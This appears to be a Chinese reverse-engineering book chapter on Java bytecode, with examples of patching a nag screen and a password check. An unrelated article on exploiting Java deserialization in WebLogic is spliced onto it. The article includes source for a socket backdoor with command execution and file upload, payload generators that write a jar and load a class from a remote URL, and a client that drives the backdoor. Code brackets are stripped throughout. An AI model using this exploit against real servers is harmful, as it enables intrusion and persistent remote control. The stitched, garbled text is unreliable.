934 0参(argument)第0个参数是程序(和C/C++类似) 因此第一个参数,而第一参数是拥护提供的。
public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=1, args_size=1 0: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 3: ldc #3 // String Hi, 5: invokevirtual #4 // Method java/io⤦ Ç /PrintStream.print:(Ljava/lang/String;)V 8: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 11: aload_0 12: iconst_1 13: aaload 14: invokevirtual #4 // Method java/io⤦ Ç /PrintStream.print:(Ljava/lang/String;)V 17: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 20: ldc #5 // String . How ⤦ Ç are you? 22: invokevirtual #6 // Method java/io⤦ Ç /PrintStream.println:(Ljava/lang/String;)V 25: return
aload_0在11行加载,第0个LVA槽的引用(main()函数唯一的参数) iconst_1和aload在行偏移12,13,取得数组第一个元素的引用(从0计数) 字符串对象的引用在栈顶行14行偏移,给println方法。

54.1.34 初始化字符串数组


#!java class Month { public static String
months = { "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" }; public String get_month (int i) { return months
; }; }
get_month()函数很简单
public java.lang.String get_month(int); flags: ACC_PUBLIC Code: stack=2, locals=2, args_size=2 0: getstatic #2 // Field months:
aaload操作数组引用,java字符串是一个对象,所以a_instructiong被用于操作他们.areturn返回字符串对象的引用。 month
数值是如果初始化的?
static {}; flags: ACC_STATIC Code: stack=4, locals=0, args_size=0 0: bipush 12 2: anewarray #3 // class java/⤦ Ç lang/String 5: dup 6: iconst_0 7: ldc #4 // String January 9: aastore 10: dup 11: iconst_1 12: ldc #5 // String ⤦ Ç February 14: aastore 15: dup 16: iconst_2 17: ldc #6 // String March 19: aastore 20: dup 21: iconst_3 22: ldc #7 // String April 24: aastore 25: dup 26: iconst_4 27: ldc #8 // String May 29: aastore 30: dup 31: iconst_5 32: ldc #9 // String June 34: aastore 35: dup 36: bipush 6 38: ldc #10 // String July 40: aastore 41: dup 42: bipush 7 44: ldc #11 // String August 46: aastore 47: dup 48: bipush 8 50: ldc #12 // String ⤦ Ç September 52: aastore 53: dup 54: bipush 9 56: ldc #13 // String October 58: aastore 59: dup 60: bipush 10 62: ldc #14 // String ⤦ Ç November 64: aastore 65: dup 66: bipush 11 68: ldc #15 // String ⤦ Ç December 70: aastore 71: putstatic #2 // Field months:
937 anewarray 创建一个新数组的引用(a是一个前缀)对象的类型被定义在anewarray操作数中,它在这是“java/lang/string”文本字符串,在这之前的bipush 1L是设置数组的大小。 对于我们再这看到一个新指令dup,他是一个众所周知的堆栈操作的计算机指令。用于复制栈顶的值。(包括了之后的编程语言)它在这是用于复制数组的引用。因为aastore张玲玲 起到弹出堆栈中的数组的作用,但是之后,aastore需要在使用一次,java编译器,最好同dup代替getstatic指令,用于生成之前的每个数组的存贮操作。例如,月份字段。

54.13.5可变参数

可变参数 变长参数函数,实际上使用的就是数组,实际使用的就是数组。
#!java public static void f(int... values) { for (int i=0; i); } public static void main(String
args) { f (1,2,3,4,5); }

public static void f(int...); flags: ACC_PUBLIC, ACC_STATIC, ACC_VARARGS Code: stack=3, locals=2, args_size=1 0: iconst_0 1: istore_1 2: iload_1 3: aload_0 4: arraylength 5: if_icmpge 23 8: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 11: aload_0 12: iload_1 13: iaload 14: invokevirtual #3 // Method java/io⤦ Ç /PrintStream.println:(I)V 17: iinc 1, 1 20: goto 2 23: return
f()函数,取得一个整数数组,使用的是aload_0 在行偏移3行。取得到了一个数组的大小,等等。
public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=4, locals=1, args_size=1 0: iconst_5 1: newarray int 3: dup 4: iconst_0 5: iconst_1 6: iastore 7: dup 8: iconst_1 9: iconst_2 10: iastore 11: dup 12: iconst_2 13: iconst_3 14: iastore 15: dup 16: iconst_3 17: iconst_4 18: iastore 19: dup 20: iconst_4 21: iconst_5 22: iastore 23: invokestatic #4 // Method f:(
素组在main()函数是构造的,使用newarray指令,被填充慢了之后f()被调用。 939 随便提一句,数组对象并不是在main()中销毁的,在整个java中也没有被析构。因为JVM的垃圾收集齐不是自动的,当他感觉需要的时候。 format()方法是做什么的?它用两个参数作为输入,字符串和数组对象。
public PrintStream format(String format, Object... args⤦)
让我们看一下。
#!java public static void main(String
args) { int i=123; double d=123.456; System.out.format("int: %d double: %f.%n", i, d⤦Ç ); }

public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=7, locals=4, args_size=1 0: bipush 123 2: istore_1 3: ldc2_w #2 // double 123.456⤦ Ç d 6: dstore_2 7: getstatic #4 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 10: ldc #5 // String int: %d⤦ Ç double: %f.%n 12: iconst_2 13: anewarray #6 // class java/⤦ Ç lang/Object 16: dup 17: iconst_0 18: iload_1 19: invokestatic #7 // Method java/⤦ Ç lang/Integer.valueOf:(I)Ljava/lang/Integer; 22: aastore 23: dup 24: iconst_1 25: dload_2 26: invokestatic #8 // Method java/⤦ Ç lang/Double.valueOf:(D)Ljava/lang/Double; 29: aastore 30: invokevirtual #9 // Method java/io⤦ Ç /PrintStream.format:(Ljava/lang/String;
所以int和double类型是被首先普生为integer和double 对象,被用于方法的值。。。format()方法需要,对象雷翔的对象作为输入,因为integer和double类是继承于根类root。他们适合作为数组输入的元素, 另一方面,数组总是同质的,例如,同一个数组不能含有两种不同的数据类型。不能同时都把integer和double类型的数据同时放入的数组。 数组对象的对象在偏移13行,整型对象被添加到在行偏移22. double对象被添加到数组在29行。 倒数第二的pop指令,丢弃了栈顶的元素,因此,这些return执行,堆栈是的空的(平行)

54.13.6 二位数组

二位数组在java 中是一个数组去引用另外一个数组 让我们来创建二位素组。()
#!java public static void main(String
args) { int

a = new int

; a

=3; }

public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=1 0: iconst_5 1: bipush 10 3: multianewarray #2, 2 // class "
它创建使用的是multianewarry指令:对象类型和维数作为操作数,数组的大小(10*5),返回到栈中。(使用iconst_5和bipush指令) 行引用在行偏移10加载(iconst_1和aaload)列引用是选择使用iconst_2指令,在行偏移11行。值得写入和设定在12行,iastore在13 行,写入数据元素?
#!java public static int get12 (int

in) { return in

; }

public static int get12(int

); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: aload_0 1: iconst_1 2: aaload 3: iconst_2 4: iaload 5: ireturn
引用数组在行2加载,列的设置是在行3,iaload加载数组。

54.13.7 三维数组

三维数组是,引用一维数组引用一维数组。
#!java public static void main(String
args) { int


a = new int


; a


=4; get_elem(a); }

public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=1 0: iconst_5 1: bipush 10 3: bipush 15 5: multianewarray #2, 3 // class "
它是用两个aaload指令去找right引用。
#!java public static int get_elem (int


a) { return a


; }

public static int get_elem(int


); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: aload_0 1: iconst_1 2: aaload 3: iconst_2 4: aaload 5: iconst_3 6: iaload 7: ireturn

53.13.8总结

在java中可能出现栈溢出吗?不可能,数组长度实际就代表有多少个对象,数组的边界是可控的,而发生越界访问的情况时,会抛出异常。

54.14 字符串

54.14.1 第一个例子

字符串也是对象,和其他对象的构造方式相同。(还有数组)
#!java public static void main(String
args) { System.out.println("What is your name?"); String input = System.console().readLine(); System.out.println("Hello, "+input); }

public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=1 0: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 3: ldc #3 // String What is⤦ Ç your name? 5: invokevirtual #4 // Method java/io⤦ Ç /PrintStream.println:(Ljava/lang/String;)V 8: invokestatic #5 // Method java/⤦ Ç lang/System.console:()Ljava/io/Console; 11: invokevirtual #6 // Method java/io⤦ Ç /Console.readLine:()Ljava/lang/String; 14: astore_1 15: getstatic #2 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 18: new #7 // class java/⤦ Ç lang/StringBuilder 21: dup 22: invokespecial #8 // Method java/⤦ Ç lang/StringBuilder."":()V 25: ldc #9 // String Hello, 27: invokevirtual #10 // Method java/⤦ Ç lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/⤦ Ç StringBuilder; 30: aload_1 31: invokevirtual #10 // Method java/⤦ Ç lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/⤦ Ç StringBuilder; 34: invokevirtual #11 // Method java/⤦ Ç lang/StringBuilder.toString:()Ljava/lang/String; 37: invokevirtual #4 // Method java/io⤦ Ç /PrintStream.println:(Ljava/lang/String;)V 40: return
944 在11行偏移调用了readline()方法,字符串引用(由用户提供)被存储在栈顶,在14行偏移,字符串引用被存储在LVA的1号槽中。 用户输入的字符串在30行偏移处重新加载并和 “hello”字符进行了链接,使用的是StringBulder类,在17行偏移,构造的字符串被pirntln方法打印。

54.14.2 第二个例子

另外一个例子
#!java public class strings { public static char test (String a) { return a.charAt(3); }; public static String concat (String a, String b) { return a+b; } }

public static char test(java.lang.String); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: aload_0 1: iconst_3 2: invokevirtual #2 // Method java/⤦ Ç lang/String.charAt:(I)C 5: ireturn 945
字符串的链接使用用StringBuilder类完成。
#!java public static java.lang.String concat(java.lang.String, java.⤦ Ç lang.String); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=2 0: new #3 // class java/⤦ Ç lang/StringBuilder 3: dup 4: invokespecial #4 // Method java/⤦ Ç lang/StringBuilder."":()V 7: aload_0 8: invokevirtual #5 // Method java/⤦ Ç lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/⤦ Ç StringBuilder; 11: aload_1 12: invokevirtual #5 // Method java/⤦ Ç lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/⤦ Ç StringBuilder; 15: invokevirtual #6 // Method java/⤦ Ç lang/StringBuilder.toString:()Ljava/lang/String; 18: areturn
另外一个例子
#!java public static void main(String
args) { String s="Hello!"; int n=123; System.out.println("s=" + s + " n=" + n); }
字符串构造用StringBuilder类,和它的添加方法,被构造的字符串被传递给println方法。
#!bash public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=3, args_size=1 0: ldc #2 // String Hello! 2: astore_1 3: bipush 123 5: istore_2 6: getstatic #3 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 9: new #4 // class java/⤦ Ç lang/StringBuilder 12: dup 13: invokespecial #5 // Method java/⤦ Ç lang/StringBuilder."":()V 16: ldc #6 // String s= 18: invokevirtual #7 // Method java/⤦ Ç lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/⤦ Ç StringBuilder; 21: aload_1 22: invokevirtual #7 // Method java/⤦ Ç lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/⤦ Ç StringBuilder; 25: ldc #8 // String n= 27: invokevirtual #7 // Method java/⤦ Ç lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/⤦ Ç StringBuilder; 30: iload_2 31: invokevirtual #9 // Method java/⤦ Ç lang/StringBuilder.append:(I)Ljava/lang/StringBuilder; 34: invokevirtual #10 // Method java/⤦ Ç lang/StringBuilder.toString:()Ljava/lang/String; 37: invokevirtual #11 // Method java/io⤦ Ç /PrintStream.println:(Ljava/lang/String;)V 40: return

54.15 异常

让我们稍微修改一下,月处理的那个例子(在932页的54.13.4) 清单 54.10: IncorrectMonthException.java
public class IncorrectMonthException extends Exception { private int index; public IncorrectMonthException(int index) { this.index = index; } public int getIndex() { return index; } }
清单 54.11: Month2.java
#!java class Month2 { public static String
months = { "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" }; public static String get_month (int i) throws ⤦ Ç IncorrectMonthException { if (i<0 || i>11) throw new IncorrectMonthException(i); return months
; }; public static void main (String
args) { try { System.out.println(get_month(100)); } catch(IncorrectMonthException e) { System.out.println("incorrect month ⤦ Ç index: "+ e.getIndex()); e.printStackTrace(); } }; }
本质上,
IncorrectMonthExceptinClass
类只是做了对象构造,还有访问器方法。 IncorrectMonthExceptinClass是继承于Exception类,所以,
IncorrectMonth
类构造之前,构造父类Exception,然后传递整数给IncorrectMonthException类作为唯一的属性值。
public IncorrectMonthException(int); flags: ACC_PUBLIC Code: stack=2, locals=2, args_size=2 0: aload_0 1: invokespecial #1 // Method java/⤦ Ç lang/Exception."":()V 4: aload_0 5: iload_1 6: putfield #2 // Field index:I 9: return

getIndex()
只是一个访问器,引用到IncorrectMothnException类,被传到LVA的0槽(this指针),用
aload_0
指令取得, 用getfield指令取得对象的整数值,用
ireturn
指令将其返回。
public int getIndex(); flags: ACC_PUBLIC Code: stack=1, locals=1, args_size=1 0: aload_0 1: getfield #2 // Field index:I 4: ireturn
现在来看下
month.class

get_month
方法。 清单 54.12: Month2.class
public static java.lang.String get_month(int) throws ⤦ Ç IncorrectMonthException; flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=1, args_size=1 0: iload_0 1: iflt 10 4: iload_0 5: bipush 11 7: if_icmple 19 10: new #2 // class ⤦ Ç IncorrectMonthException 13: dup 14: iload_0 15: invokespecial #3 // Method ⤦ Ç IncorrectMonthException."":(I)V 18: athrow 19: getstatic #4 // Field months:
iflt 在行偏移1 ,如果小于的话, 这种情况其实是无效的索引,在行偏移10创建了一个对象,对象类型是作为操作书传递指令的。(这个IncorrectMonthException的构造届时,下标整数是被通过TOS传递的。行15偏移) 时间流程走到了行18偏移,对象已经被构造了,现在athrow指令取得新构对象的引用,然后发信号给JVM去找个合适的异常句柄。 athrow指令在这个不返回到控制流,行19偏移的其他的个基本模块,和异常无关,我们能得到到行7偏移。 句柄怎么工作? main()在inmonth2.class 清单 54.13: Month2.class
public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=3, locals=2, args_size=1 0: getstatic #5 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 3: bipush 100 5: invokestatic #6 // Method ⤦ Ç get_month:(I)Ljava/lang/String; 8: invokevirtual #7 // Method java/io⤦ Ç /PrintStream.println:(Ljava/lang/String;)V 11: goto 47 14: astore_1 15: getstatic #5 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 18: new #8 // class java/⤦ Ç lang/StringBuilder 21: dup 22: invokespecial #9 // Method java/⤦ Ç lang/StringBuilder."":()V 25: ldc #10 // String ⤦ Ç incorrect month index: 27: invokevirtual #11 // Method java/⤦ Ç lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/⤦ Ç StringBuilder; 30: aload_1 31: invokevirtual #12 // Method ⤦ Ç IncorrectMonthException.getIndex:()I 34: invokevirtual #13 // Method java/⤦ Ç lang/StringBuilder.append:(I)Ljava/lang/StringBuilder; 37: invokevirtual #14 // Method java/⤦ Ç lang/StringBuilder.toString:()Ljava/lang/String; 40: invokevirtual #7 // Method java/io⤦ Ç /PrintStream.println:(Ljava/lang/String;)V 43: aload_1 44: invokevirtual #15 // Method ⤦ Ç IncorrectMonthException.printStackTrace:()V 47: return Exception table: from to target type 0 11 14 Class IncorrectMonthException
950 这是一个异常表,在行偏移0-11(包括)行,一个IncorrectinMonthException异常可能发生,如果发生,控制流到达14行偏移,确实main程序在11行偏移结束,在14行异常开始, 没有进入此区域条件(condition/uncondition)设定,是不可能到打这个位置的。(PS:就是没有异常捕获的设定,就不会有异常流被调用执行。) 但是JVM会传递并覆盖执行这个异常case。 第一个astore_1(在行偏移14)取得,将到来的异常对象的引用,存储在LVA的槽参数1之后。getIndex()方法(这个异常对象) 会被在31行偏移调用。引用当前的异常对象,是在30行偏移之前。 所有的这些代码重置都是字符串操作代码:第一个整数值使用的是getIndex()方法,被转换成字符串使用的是toString()方法,它会和“正确月份下标”的文本字符来链接(像我们之前考虑的那样)。 println()和printStackTrace(1)会被调用,PrintStackTrace(1)调用 结束之后,异常被捕获,我们可以处理正常的函数,在47行偏移,return结束main()函数 , 如果没有发生异常,不会执行任何的代码。 这有个例子,IDA是如何显示异常范围: 清单54.14 我从我的计算机中找到 random.class 这个文件
.catch java/io/FileNotFoundException from met001_335 to ⤦ Ç met001_360\ using met001_360 .catch java/io/FileNotFoundException from met001_185 to ⤦ Ç met001_214\ using met001_214 .catch java/io/FileNotFoundException from met001_181 to ⤦ Ç met001_192\ using met001_195 951 CHAPTER 54. JAVA 54.16. CLASSES .catch java/io/FileNotFoundException from met001_155 to ⤦ Ç met001_176\ using met001_176 .catch java/io/FileNotFoundException from met001_83 to ⤦ Ç met001_129 using \ met001_129 .catch java/io/FileNotFoundException from met001_42 to ⤦ Ç met001_66 using \ met001_69 .catch java/io/FileNotFoundException from met001_begin to ⤦ Ç met001_37\ using met001_37

54.16 类 简单类

清单 54.15: test.java
public class test { public static int a; private static int b; public test() { a=0; b=0; } public static void set_a (int input) { a=input; } public static int get_a () { return a; } public static void set_b (int input) { b=input; } public static int get_b () { return b; } }
构造函数,只是把两个之段设置成0.
public test(); flags: ACC_PUBLIC Code: stack=1, locals=1, args_size=1 0: aload_0 1: invokespecial #1 // Method java/⤦ Ç lang/Object."":()V 4: iconst_0 5: putstatic #2 // Field a:I 8: iconst_0 9: putstatic #3 // Field b:I 12: return
a的设定器
public static void set_a(int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: iload_0 1: putstatic #2 // Field a:I 4: return
a的取得器
public static int get_a(); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=0, args_size=0 0: getstatic #2 // Field a:I 3: ireturn
b的设定器
public static void set_b(int); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=1, args_size=1 0: iload_0 1: putstatic #3 // Field b:I 4: return
b的取得器
public static int get_b(); flags: ACC_PUBLIC, ACC_STATIC Code: stack=1, locals=0, args_size=0 0: getstatic #3 // Field b:I 3: ireturn
953 类中的公有和私有字段代码没什么区别。 但是类型信息会在in.class 文件中表示,并且,无论如何私有变量是不可以被访问的。 让我们创建对象并调用方法: 清单 54.16: ex1.java 954 新指令创建对象,但不调用构造函数(它在4行偏移被调用)set_a()方法被在16行偏移被调用,字段访问使用的getstatic指令,在行偏移21。 Listing 54.16: ex1.java
#!java public class ex1 { public static void main(String
args) { test obj=new test(); obj.set_a (1234); System.out.println(obj.a); } } public static void main(java.lang.String
); flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=2, args_size=1 0: new #2 // class test 3: dup 4: invokespecial #3 // Method test."<⤦ Ç init>":()V 7: astore_1 8: aload_1 9: pop 10: sipush 1234 13: invokestatic #4 // Method test.⤦ Ç set_a:(I)V 16: getstatic #5 // Field java/⤦ Ç lang/System.out:Ljava/io/PrintStream; 19: aload_1 20: pop 21: getstatic #6 // Field test.a:I 24: invokevirtual #7 // Method java/io⤦ Ç /PrintStream.println:(I)V 27: return
54.17 简单的补丁。 54.17.1 第一个例子 让我们进入简单的一个例子。
public class nag { public static void nag_screen() { System.out.println("This program is not ⤦ Ç registered"); }; public static void main(String
args) { System.out.println("Greetings from the mega-⤦ Ç software"); nag_screen(); } }
我们如何去除打印输出"This program is registered". 最会在IDA中加载.class文件。 清单54.1: IDA 我们patch到函数的第一个自己到177(返回指令操作码) Figure 54.2 : IDA 这个在JDK1.7中不工作
Exception in thread "main" java.lang.VerifyError: Expecting a ⤦ Ç stack map frame Exception Details: Location: nag.nag_screen()V @1: nop Reason: Error exists in the bytecode Bytecode: 0000000: b100 0212 03b6 0004 b1 at java.lang.Class.getDeclaredMethods0(Native Method) at java.lang.Class.privateGetDeclaredMethods(Class.java⤦ Ç :2615) at java.lang.Class.getMethod0(Class.java:2856) at java.lang.Class.getMethod(Class.java:1668) at sun.launcher.LauncherHelper.getMainMethod(⤦ Ç LauncherHelper.java:494) at sun.launcher.LauncherHelper.checkAndLoadMain(⤦ Ç LauncherHelper.java:486)
956 也许,JVM有一些检查,关联到栈映射。 好的,为了让path不同,我们使用
remove call nag()
清单:54.5 IDA NOP的操作码是0: 现在工作起来了

54.17.2第二个例子

现在是另外一个简单的crackme例子。
public class password { public static void main(String
args) { System.out.println("Please enter the password")⤦ Ç ; String input = System.console().readLine(); if (input.equals("secret")) System.out.println("password is correct⤦"); else System.out.println("password is not ⤦ Ç correct"); } }
图54.4:IDA 我们看ifeq指令是怎么工作的,他的名字的意思是如果等于。 这是不恰当的,我更愿意命名if (ifz if zero) 如果栈顶值是0,他就会跳转,在我们这个例子,如果密码 不正确他就跳转。(equal方法返回的是0) 首先第一个主意是patch这个指令... iefq是两个bytes的操作码 编码和跳转偏移,让这个指令定制,我们必须设定byte3 3byte(因为3是添加到当前地址结束总是跳转同下一条指令) 因为ifeq的指令长度是3bytes. 958 图54.5IDA 这个在JDK1.7中不工作
Exception in thread "main" java.lang.VerifyError: Expecting a ⤦ Ç stackmap frame at branch target 24 Exception Details: Location: password.main(
) same_frame(@43) at java.lang.Class.getDeclaredMethods0(Native Method) at java.lang.Class.privateGetDeclaredMethods(Class.java⤦ Ç :2615) at java.lang.Class.getMethod0(Class.java:2856) at java.lang.Class.getMethod(Class.java:1668) at sun.launcher.LauncherHelper.getMainMethod(⤦ Ç LauncherHelper.java:494) 959 CHAPTER 54. JAVA 54.18. SUMMARY at sun.launcher.LauncherHelper.checkAndLoadMain(⤦ Ç LauncherHelper.java:486)
不用说了,它工作在JRE1.6 我也尝试替换所有3ifeq操作吗bytes,使用0字节(NOP),它仍然会工作,好 可能没有更多的堆栈映射在JRE1.7中被检查出来。 好的,我替换整个equal调用方法,使用icore_1指令加上NOPS的争强patch. 11总是在栈顶,当ifeq指令别执行...所以ifeq不会被执行。 工作了。

54.18总结

960 和C/C+比较java少了一些什么? 结构体:使用类 联合:使用集团类 无附加数据类型,多说一句,还有一些在Java中实现的加密算法的硬编码。 函数指针。

0x00 简介

Java反序列化漏洞由来已久,在WebLogic和JBoss等著名服务器上都曝出存在此漏洞。FoxGlove Security安全团队的breenmachine给出了详细的分析,但没有给出更近一步的利用方式。前段时间rebeyond在不需要连接公网的情况下使用RMI的方式在WebLogic上实现了文本文件上传和命令执行,但没有实现二进制文件上传。我通过使用Socket的方式实现了二进制文件上传和命令执行,同时也实现了RMI方式的二进制文件。

0x01 思路

首先发Payload在目标服务器中写入一个Socket实现的迷你服务器类,所有的功能都将由这个迷你服务器来执行,然后再发一个Payload来启动服务器,最后本地客户端创建Socket连接的方式向服务器发送请求来使用相应的功能,其中上传二进制文件我采用分块传输的思想,这样可以实现上传较大的文件。
1. 本地创建Socket实现的迷你服务器类并导出jar包 2. 把jar包上传至目标服务器 3. 启动目标服务器上的迷你服务器 4. 使用二进制文件上传和命令执行功能 5. 发送关闭请求,清理目标服务器残留文件

0x02 实现

1.本地创建Socket实现的迷你服务器类并导出jar包
public class Server { /** * 启动服务器 * @param port * @param path */ public static void start(int port, String path) { ServerSocket server = null; Socket client = null; InputStream input = null; OutputStream out = null; Runtime runTime = Runtime.getRuntime(); try { server = new ServerSocket(port); // 0表示功能模式 1表示传输模式 int opcode = 0; int len = 0; byte
data = new byte
; String uploadPath = ""; boolean isUploadStart = false; client = server.accept(); input = client.getInputStream(); out = client.getOutputStream(); byte
overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 }; while (true) { len = input.read(data); if (len != -1) { if (opcode == 0) { // 功能模式 String operation = new String(data, 0, len); String
receive = operation.split(":::"); if ("bye".equals(receive
)) { // 断开连接 关闭服务器 out.write("success".getBytes()); out.flush(); FileOutputStream outputStream = new FileOutputStream(path); // 清理残留文件 outputStream.write("".getBytes()); outputStream.flush(); outputStream.close(); break; } else if ("cmd".equals(receive
)) { // 执行命令 返回结果 try { Process proc = runTime.exec(receive
); InputStream in = proc.getInputStream(); byte
procData = new byte
; byte
total = new byte
; int procDataLen = 0; while ((procDataLen = in.read(procData)) != -1) { byte
temp = new byte
; for (int i = 0; i < procDataLen; i++) { temp
= procData
; } total = byteMerger(total, temp); } if (total.length == 0) { out.write("error".getBytes()); } else { out.write(total); } out.flush(); } catch (Exception e) { e.printStackTrace(); out.write("error".getBytes()); out.flush(); } } else if ("upload".equals(receive
)) { // 切换成传输模式 uploadPath = receive
; isUploadStart = true; opcode = 1; } } else if (opcode == 1) { // 传输模式 byte
receive = new byte
; for (int i = 0; i < len; i++) { receive
= data
; } if (Arrays.equals(overData, receive)) { // 传输结束切换成功能模式 isUploadStart = false; opcode = 0; } else { // 分块接收 FileOutputStream outputStream = null; if (isUploadStart) { // 接收文件的开头部分 outputStream = new FileOutputStream(uploadPath, false); outputStream.write(receive); isUploadStart = false; } else { // 接收文件的结束部分 outputStream = new FileOutputStream(uploadPath, true); outputStream.write(receive); } outputStream.close(); } } } else { Thread.sleep(1000); } } } catch (Exception e) { e.printStackTrace(); try { out.write("error".getBytes()); out.flush(); } catch (IOException e1) { e1.printStackTrace(); } } finally { try { client.close(); server.close(); } catch (IOException e) { e.printStackTrace(); } } } /** * 合并字节数组 * @param byte_1 * @param byte_2 * @return 合并后的数组 */ private static byte
byteMerger(byte
byte_1, byte
byte_2) { byte
byte_3 = new byte
; System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length); System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length); return byte_3; } }
编译并导出jar包 2.发送Payload把jar包上传至服务器 这里我要特别说明一点,breenmachine在介绍WebLogic漏洞利用时特别说明了需要计算Payload的长度,但是我看到过的国内文章没有一篇提到这一点,给出的利用代码中的Payload长度值写的都是原作者的09f3,我觉得这也是导致漏洞利用失败的主要原因之一,因此发送Payload前最好计算下长度。

A very important point about the first chunk of the payload. Notice the first 4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload length in bytes.

Payload的长度值可以在一个范围内,我们团队的cf_hb经过fuzz测试得到几个范围值:
1. poc访问指定url:0x0000-0x1e39 2. 反弹shell:0x000-0x2049 3. 执行命令calc.exe:0x0000-0x1d38
这一步生成上传jar包的Payload
public static byte
generateServerPayload(String remotePath) throws Exception { final Transformer
transformers = new Transformer
{ new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class
{ Class
.class }, new Object
{ new Class
{ String.class } }), new InvokerTransformer("newInstance", new Class
{ Object
.class }, new Object
{ new Object
{ remotePath } }), new InvokerTransformer("write", new Class
{ byte
.class }, new Object
{ Utils.hexStringToBytes(SERVER_JAR) }), new ConstantTransformer(1) }; return generateObject(transformers); }
发送到目标服务器写入jar包 3.发送Payload启动目标服务器上的迷你服务器 生成启动服务器的Payload
public static byte
generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception { final Transformer
transformers = new Transformer
{ new ConstantTransformer(URLClassLoader.class), new InvokerTransformer("getConstructor", new Class
{ Class
.class }, new Object
{ new Class
{ URL
.class } }), new InvokerTransformer("newInstance", new Class
{ Object
.class }, new Object
{ new Object
{ new URL
{ new URL(remoteClassPath) } } }), new InvokerTransformer("loadClass", new Class
{ String.class }, new Object
{ "org.heysec.exp.Server" }), new InvokerTransformer("getMethod", new Class
{ String.class, Class
.class }, new Object
{ "start", new Class
{ int.class, String.class } }), new InvokerTransformer("invoke", new Class
{ Object.class, Object
.class }, new Object
{ null, new Object
{ port, remotePath } }) }; return generateObject(transformers); }
发送到目标服务器启动迷你服务器 4.使用二进制文件上传和命令执行功能 本地测试客户端的代码
public class Client { public static void main(String
args) { Socket client = null; InputStream input = null; OutputStream output = null; FileInputStream fileInputStream = null; try { int len = 0; byte
receiveData = new byte
; byte
sendData = new byte
; int sendLen = 0; byte
overData = { 0, 0, 0, 6, 6, 6, 8, 8, 8 }; // 创建客户端Socket client = new Socket("10.10.10.129", 8080); input = client.getInputStream(); output = client.getOutputStream(); // 发送准备上传文件命令使服务器切换到传输模式 output.write("upload:::test.zip".getBytes()); output.flush(); Thread.sleep(1000); // 分块传输文件 fileInputStream = new FileInputStream("F:/安全集/tools/BurpSuite_pro_v1.6.27.zip"); sendLen = fileInputStream.read(sendData); if (sendLen != -1) { output.write(Arrays.copyOfRange(sendData, 0, sendLen)); output.flush(); Thread.sleep(1000); while ((sendLen = fileInputStream.read(sendData)) != -1) { output.write(Arrays.copyOfRange(sendData, 0, sendLen)); output.flush(); } } Thread.sleep(1000); // 发送文件上传结束命令 output.write(overData); output.flush(); Thread.sleep(1000); // 执行命令 output.write("cmd:::cmd /c dir".getBytes()); output.flush(); Thread.sleep(1000); // 接收返回结果 len = input.read(receiveData); String result = new String(receiveData, 0, len, "GBK"); System.out.println(result); Thread.sleep(1000); // 关闭服务器 output.write("bye".getBytes()); output.flush(); Thread.sleep(1000); len = input.read(receiveData); System.out.println(new String(receiveData, 0, len)); } catch (Exception e) { e.printStackTrace(); } finally { try { fileInputStream.close(); client.close(); } catch (Exception e) { e.printStackTrace(); } } } }
测试结果1 测试结果2 5. 发送关闭请求清理残留文件 客户端发送关闭请求
output.write("bye".getBytes()); output.flush();
服务器清除残留文件并关闭
if ("bye".equals(receive
)) { // 断开连接 关闭服务器 out.write("success".getBytes()); out.flush(); FileOutputStream outputStream = new FileOutputStream(path); // 清理残留文件 outputStream.write("".getBytes()); outputStream.flush(); outputStream.close(); break; }
这就是按照我的思路实现的全部过程

0x03 RMI方式实现二进制文件上传及优化流程

这部分只是对rebeyond的利用方式进行了扩展,添加了二进制文件上传的功能以及优化了流程。 扩展的远程类
public class RemoteObjectImpl implements RemoteObject { /** * 分块上传文件 */ public boolean upload(String uploadPath, byte
